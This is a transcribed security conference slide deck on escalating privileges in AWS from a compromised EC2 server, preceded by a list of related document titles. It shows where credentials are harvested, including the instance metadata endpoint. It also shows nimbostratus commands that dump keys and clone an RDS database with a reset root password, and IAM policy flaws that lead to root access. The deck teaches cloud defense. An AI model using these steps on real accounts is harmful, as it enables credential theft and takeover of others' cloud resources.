Amazon AWS Security Basics



Similar documents
Tibbr Installation Addendum for Amazon Web Services

MANAGE YOUR AMAZON AWS ASSETS USING BOTO

Threat Modeling Cloud Applications

Chapter 9 PUBLIC CLOUD LABORATORY. Sucha Smanchat, PhD. Faculty of Information Technology. King Mongkut s University of Technology North Bangkok

Online Backup Guide for the Amazon Cloud: How to Setup your Online Backup Service using Vembu StoreGrid Backup Virtual Appliance on the Amazon Cloud

Zend Server Amazon AMI Quick Start Guide

Alfresco Enterprise on AWS: Reference Architecture

ur skills.com

Amazon Web Services Student Tutorial

AWS Account Setup and Services Overview

AdWhirl Open Source Server Setup Instructions

TECHNOLOGY WHITE PAPER Jun 2012

ArcGIS 10.3 Server on Amazon Web Services

Cloud Models and Platforms

GreenSQL AWS Deployment

Building Energy Security Framework

TECHNOLOGY WHITE PAPER Jan 2016

Application Security Best Practices. Matt Tavis Principal Solutions Architect

Elastic Detector on Amazon Web Services (AWS) User Guide v5

Amazon Elastic Beanstalk

Nessus Enterprise for Amazon Web Services (AWS) Installation and Configuration Guide. July 16, 2014 (Revision 2)

AWS Account Management Guidance

Amazon WorkDocs. Administration Guide Version 1.0

Managing Multi-Tiered Applications with AWS OpsWorks

EEDC. Scalability Study of web apps in AWS. Execution Environments for Distributed Computing

Cloud Computing for Education Workshop

USER CONFERENCE 2011 SAN FRANCISCO APRIL Running MarkLogic in the Cloud DEVELOPER LOUNGE LAB

Cloud Computing. AWS a practical example. Hugo Pérez UPC. Mayo 2012

UTILIZING CLOUDCHECKR FOR SECURITY

AWS Directory Service. Simple AD Administration Guide Version 1.0

From Zero to Secure in 1 Minute

Drupal in the Cloud. Scaling with Drupal and Amazon Web Services. Northern Virginia Drupal Meetup

Tcl and Cloud Computing Automation

Scalable Application. Mikalai Alimenkou

Introduction to Cloud Computing on Amazon Web Services (AWS) with focus on EC2 and S3. Horst Lueck

Cloud Computing. Adam Barker

Intrusion Detection in the Cloud

Chapter 11 Cloud Application Development

Computer Forensics and Incident Response in the Cloud. Stephen Coty AlertLogic, AlertLogic_ACID

Introduction to DevOps on AWS

EXTENDING SINGLE SIGN-ON TO AMAZON WEB SERVICES

Managing Your Microsoft Windows Server Fleet with AWS Directory Service. May 2015

Cloud Security Through Threat Modeling. Robert M. Zigweid Director of Services for IOActive

SECURITY IS JOB ZERO. Security The Forefront For Any Online Business Bill Murray Director AWS Security Programs

CernVM Online and Cloud Gateway a uniform interface for CernVM contextualization and deployment

Design for Failure High Availability Architectures using AWS

This computer will be on independent from the computer you access it from (and also cost money as long as it s on )

OnCommand Cloud Manager 2.2 Storage System Management Guide

Technology and Cost Considerations for Cloud Deployment: Amazon Elastic Compute Cloud (EC2) Case Study

Eucalyptus 4.2 IAM Guide

PCI COMPLIANCE ON AWS: HOW TREND MICRO CAN HELP

Smartphone Pentest Framework v0.1. User Guide

Simone Brunozzi, AWS Technology Evangelist, APAC. Fortress in the Cloud

DISTRIBUTED SYSTEMS [COMP9243] Lecture 9a: Cloud Computing WHAT IS CLOUD COMPUTING? 2

How to Grow and Transform your Security Program into the Cloud

(In-)Security of Backend-as-a-Service

Appendix to; Assessing Systemic Risk to Cloud Computing Technology as Complex Interconnected Systems of Systems

Immersion Day. Creating an Elastic Load Balancer. Rev

Securing Privileges in the Cloud. A Clear View of Challenges, Solutions and Business Benefits

Security Landscape of Cloud Computing

Running Oracle on the Amazon Cloud

Storage and Disaster Recovery

319 MANAGED HOSTING TECHNICAL DETAILS

Getting Started with Hadoop with Amazon s Elastic MapReduce

Opsview in the Cloud. Monitoring with Amazon Web Services. Opsview Technical Overview

VX 9000E WiNG Express Manager INSTALLATION GUIDE

Security Essentials & Best Practices

SkySQL Data Suite. A New Open Source Approach to MySQL Distributed Systems. Serge Frezefond V

Installation Guide on Cloud Platform

Web Application Firewall

Cloud Security:Threats & Mitgations

Amazon Web Services EC2 & S3

Creating an ESS instance on the Amazon Cloud

Deploy XenApp 7.5 and 7.6 and XenDesktop 7.5 and 7.6 with Amazon VPC

AWS testing results. Testing Procedure. Prepare Target Machine. Prepare modified mosquitto configuration. /etc/mosquitto/mosquitto.

Using The Hortonworks Virtual Sandbox

What s Wrong with Information Security Today? You are looking in the wrong places for the wrong things.

FREE computing using Amazon EC2

Running Oracle Applications on AWS

AWS Service Catalog. User Guide

Deploying Virtual Cyberoam Appliance in the Amazon Cloud Version 10

HADOOP BIG DATA DEVELOPER TRAINING AGENDA

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

How To Set Up Wiremock In Anhtml.Com On A Testnet On A Linux Server On A Microsoft Powerbook 2.5 (Powerbook) On A Powerbook 1.5 On A Macbook 2 (Powerbooks)

Amazon Web Services: Overview of Security Processes May 2011

Storage Solutions in the AWS Cloud. Miles Ward Enterprise Solutions Architect

How AWS Pricing Works

Transcription:

Amazon AWS Security Basics Escalating privileges from EC2 Andrés Riancho TagCube CTO BlackHat Webcasts

Agenda Privilege escalation: Classic vs. Cloud The hacker s perspective AWS credentials and instance profiles Privilege escalation examples IAM from the developer s perspective Hacme cloud: The nimbostratus tool Conclusions

Privilege escalation Because gaining access to only one server is not fun enough

Non-cloud network privilege escalation After gaining access to a server intruders use different techniques to access other resources in the target network: rsh / rlogin / rexec: hopefully nobody uses this anymore! Hard-coded credentials SSH and keys without password

Privilege escalation in Amazon EC2 An attacker can still use the previous privilege escalation techniques EC2 servers usually connect to other AWS services, so AWS credentials are present in the system (hard-coded, environment variables, instance profiles, etc.). Misconfigured IAM profiles can be used to elevate the AWS user s privileges, perform DoS attacks and access private information.

AWS privilege escalation examples The attacker s perspective

Credentials at AWS_* environment variables Compromised an EC2 server where do I find the AWS credentials? AWS_ACCESS_KEY and AWS_SECRET_ACCESS_KEY environment variables Hard-coded into the application source ~/.aws/credentials ~/.boto ~/.fog Each time an EC2 instance starts, AWS creates a "meta-data server" which is only accessible/routed for that instance. If an instance profile was configured credentials can be found at: http://169.254.169.254/

nimbostratus --dump-credentials Nimbostratus knows how to retrieve credentials from: AWS_ACCESS_KEY and AWS_SECRET_ACCESS_KEY environment variables ~/.boto Instance profile (meta-data server) http://169.254.169.254/ user@ec2-server:~/nimbostratus$ nimbostratus --dump-credentials Found credentials Access key: AKIAJSL6ZPLEGE6QKD2Q Secret key: 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

Privilege enumeration with nimbostratus andres@laptop:~/nimbostratus$ nimbostratus dump-permissions --access-key=... --secret-key=... Starting dump-permissions These credentials belong to low_privileged_user, not to the root account Getting access keys for user low_privileged_user User for key AKIAIV...J6KVA is low_privileged_user {u'statement': [{u'action': u'sqs:*', u'effect': u'allow', u'resource': u'*', u'sid': u'stmt1377109045369'}]}

Get root access to RDS-MySQL rds:* permissions Enumerate RDS instances

Get root access to RDS-MySQL Original MySQL connection

Get root access to RDS-MySQL 1. Create RDS DB snapshot Original

Get root access to RDS-MySQL Original 2. Restore RDS snapshot Clone

Get root access to RDS-MySQL Original 3. Change RDS root password Clone

Get root access to RDS-MySQL Original 4. MySQL connection using new root password Clone

Get root access to RDS-MySQL andres@laptop:~/nimbostratus/$./nimbostratus -v snapshot-rds --access-key AKIAJSL6ZPLEGE6QKD2Q --secret-key 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 --password foolmeonce --rds-name nimbostratus --region ap-southeast-1 Starting snapshot-rds Waiting for snapshot to complete in AWS... (this takes at least 5m) Waiting... Waiting for restore process in AWS... (this takes at least 5m) Waiting... Creating a DB security group which allows connections from any location and applying it to the newly created RDS instance. Anyone can connect to this MySQL instance at: - Host: restored-sjnrpnubt.cuwm5qpy.ap-southeast-1.rds.amazonaws.com - Port: 3306 Using root: mysql -u root -pfoolmeonce -h restored-sjnrpnubt...rds.amazonaws.com

Gaining access to EC2 servers ec2:* permissions Enumerate EC2 instances

Gaining access to EC2 servers - ec2:* Original SSH connection

Gaining access to EC2 servers - ec2:* 1. Create new key pair Original

Gaining access to EC2 servers - ec2:* Original 2. Spawn new EC2 instance using new key pair and same AMI, user-data, etc.

Gaining access to EC2 servers - ec2:* Original Clone

Gaining access to EC2 servers - ec2:* Original 3. SSH connection using new key pair Clone

IAM: Identity and Access Management AWS s security core

IAM: Identity and Access Management As an Amazon AWS architect/developer you use IAM to manage: Users and groups Roles Permissions Access keys (user API keys) IAM s most common use case is to grant access to AWS services: "John can read and write to all S3 buckets" IAM is also used to restrict access to IAM iam:* is AWS root

Example IAM policies Read only to various AWS services All EC2 access { } "Version": "2012-10-17", "Statement": [ { "Action": [ "autoscaling:describe*", "ec2:describe*", "elasticache:describe*", "elasticloadbalancing:describe*", "rds:describe*", "rds:listtagsforresource", ], "Effect": "Allow", "Resource": "*" } ] { } "Version": "2012-10-17", "Statement": [ { "Action": "ec2:*", "Effect": "Allow", "Resource": "*" } ]

Gain AWS root access Which IAM policy would allow an attacker to gain AWS root? { "Statement": [{ "Sid": "Stmt1383555181147", "Action": "sns:*", "Effect": "Allow", "Resource": "*"}, { "Statement": [{ "Sid": "Stmt1383555181147", "NotAction": "*", "Effect": "Allow", "Resource": "*"}, ]} {"Sid": "Stmt1383555193395", "Action": ["s3:*","*"], "Effect": "Allow", "Resource": "*"}, ]} {"Sid": "Stmt1383555193395", "Action": ["iam:putuserpolicy"], "Effect": "Allow", "Resource": "*"}, Source: Intrusion detection in cloud re:invent 2013

Gain AWS root access Where s the bug in this IAM profile? { "Statement": [{ "Sid": "Stmt1383555181147", "Action": "ec2:*", "Effect": "Allow", "Resource": "*"}, ]} {"Sid": "Stmt1383555193395", "Action": ["s3:*", "iam:passrole"], "Effect": "Allow", "Resource": "*"}, Source: Intrusion detection in cloud re:invent 2013

Do it yourself!

DIY: nimbostratus(-target) http://bit.ly/nimbostratus example.com

DIY: nimbostratus(-target) andres@laptop:~/nimbostratus-target$ fab deploy Launching Django frontend instance Creating keypair: django_frontend_nimbostratus Removing IAM instance profile "django_frontend_nimbostratus" Waiting for role django_frontend_nimbostratus to be available... Waiting for instance to start... Checking if instance was correctly configured (this usually takes 5min) Instance did not boot yet... Successfully started django_frontend_nimbostratus You can connect to it via SSH and HTTP: http://ec2-122-...compute.amazonaws.com/ http://ec2-122-...compute.amazonaws.com/?url=http://httpbin.org/user-agent ssh -i django_frontend_nimbostratus.pem ubuntu@ec2-122-...compute.amazonaws.com Spawning a new RDS instance, this takes at least 10min! Waiting... Waiting... Successfully started RDS instance.

Conclusions Developers are building apps on the cloud We should all learn more about this technology! AWS has a free-tier which you can use to learn. No excuses! Embrace change, embrace the future Most vulnerabilities and mis-configurations exploited today have fixes and/or workarounds, read the docs! Check out my BlackHat slides and paper for more information

Thanks! andres@tagcube.io @w3af